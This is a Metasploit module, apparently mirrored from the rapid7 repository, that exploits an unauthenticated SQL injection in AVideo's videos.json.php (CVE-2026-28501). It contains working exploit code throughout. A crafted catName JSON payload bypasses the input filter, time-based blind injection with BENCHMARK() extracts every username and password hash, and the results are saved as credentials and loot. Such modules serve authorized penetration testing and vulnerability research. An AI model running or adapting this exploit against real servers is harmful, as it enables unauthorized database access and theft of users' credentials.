Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/avideo_catname_sqli.rb
59959 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::SQLi
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'AVideo Unauthenticated SQL Injection Credential Dump',
17
'Description' => %q{
18
AVideo <= 22.0 is vulnerable to unauthenticated SQL injection via the
19
catName parameter in objects/videos.json.php (CVE-2026-28501).
20
21
The security filter in security.php sanitizes GET/POST parameters but
22
does not cover JSON request bodies. Since videos.json.php parses JSON
23
input and merges it into $_REQUEST after the filter runs, a catName
24
value sent as JSON bypasses sanitization entirely and reaches
25
getCatSQL() unsanitized.
26
27
This module uses time-based blind injection with BENCHMARK() to dump
28
usernames and password hashes. SLEEP() is blocked by the sqlDAL
29
prepared statement layer, but BENCHMARK(N*(condition), SHA1(x)) works
30
because the condition is evaluated as a multiplier on the iteration
31
count, avoiding the subquery restrictions imposed by prepare().
32
33
Fixed in 24.0 (no 23.0 release exists).
34
},
35
'Author' => [
36
'arkmarta', # Vulnerability discovery
37
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
38
],
39
'License' => MSF_LICENSE,
40
'References' => [
41
['CVE', '2026-28501'],
42
['GHSA', 'pv87-r9qf-x56p', 'WWBN/AVideo']
43
],
44
'DisclosureDate' => '2026-03-05',
45
'DefaultOptions' => { 'SqliDelay' => 1 },
46
'Notes' => {
47
'Stability' => [CRASH_SAFE],
48
'SideEffects' => [IOC_IN_LOGS],
49
'Reliability' => []
50
}
51
)
52
)
53
54
register_options([
55
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
56
OptInt.new('COUNT', [true, 'Number of users to dump (default: all)', 0])
57
])
58
end
59
60
def check
61
res = send_request_cgi('uri' => endpoint_uri, 'method' => 'GET')
62
63
return Exploit::CheckCode::Unknown('Failed to connect to the target.') unless res
64
return Exploit::CheckCode::Safe("Unexpected HTTP #{res.code}") unless res.code == 200
65
66
json = res.get_json_document
67
return Exploit::CheckCode::Safe('Response is not valid JSON') if json.empty?
68
return Exploit::CheckCode::Safe('Response missing expected fields') unless json.key?('total') && json.key?('rows')
69
70
setup_sqli
71
72
if @setup_sqli.test_vulnerable
73
return Exploit::CheckCode::Vulnerable('Time-based blind SQLi confirmed via BENCHMARK()')
74
end
75
76
Exploit::CheckCode::Safe('Endpoint accessible but injection did not trigger')
77
end
78
79
def run
80
setup_sqli
81
82
columns = %w[user password]
83
count = datastore['COUNT']
84
print_status('Dumping user credentials from the users table...')
85
print_warning('Time-based blind extraction is slow (~4s per character). Be patient.')
86
data = @setup_sqli.dump_table_fields('users', columns, '', count)
87
88
table = Rex::Text::Table.new(
89
'Header' => 'AVideo Users',
90
'Indent' => 4,
91
'Columns' => columns
92
)
93
94
data.each do |row|
95
table << row
96
97
next if row[1].blank?
98
99
create_credential({
100
workspace_id: myworkspace_id,
101
origin_type: :service,
102
module_fullname: fullname,
103
username: row[0],
104
private_type: :nonreplayable_hash,
105
jtr_format: Metasploit::Framework::Hashes.identify_hash(row[1]),
106
private_data: row[1],
107
service_name: ssl ? 'https' : 'http',
108
address: rhost,
109
port: rport,
110
protocol: 'tcp',
111
status: Metasploit::Model::Login::Status::UNTRIED
112
})
113
end
114
115
print_line(table.to_s)
116
117
loot_data = data.map { |row| "#{row[0]}:#{row[1]}" }.join("\n")
118
loot_path = store_loot('avideo.users', 'text/plain', rhost, loot_data, 'avideo_users.txt', 'AVideo User Credentials')
119
print_good("Loot saved to: #{loot_path}")
120
121
report_host(host: rhost)
122
report_service(host: rhost, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http')
123
report_vuln(host: rhost, port: rport, proto: 'tcp', name: fullname, refs: references, info: description.strip)
124
end
125
126
private
127
128
def endpoint_uri
129
normalize_uri(target_uri.path, 'objects', 'videos.json.php')
130
end
131
132
def setup_sqli
133
@setup_sqli ||= create_sqli(dbms: MySQLi::BenchmarkBasedBlind, opts: { hex_encode_strings: true, safe: true }) do |payload|
134
body = { 'catName' => "' OR #{payload} AND '1'='1", 'doNotShowCatChilds' => 1 }.to_json
135
136
send_request_cgi({
137
'uri' => endpoint_uri,
138
'method' => 'POST',
139
'ctype' => 'application/json',
140
'data' => body
141
})
142
end
143
end
144
end
145
146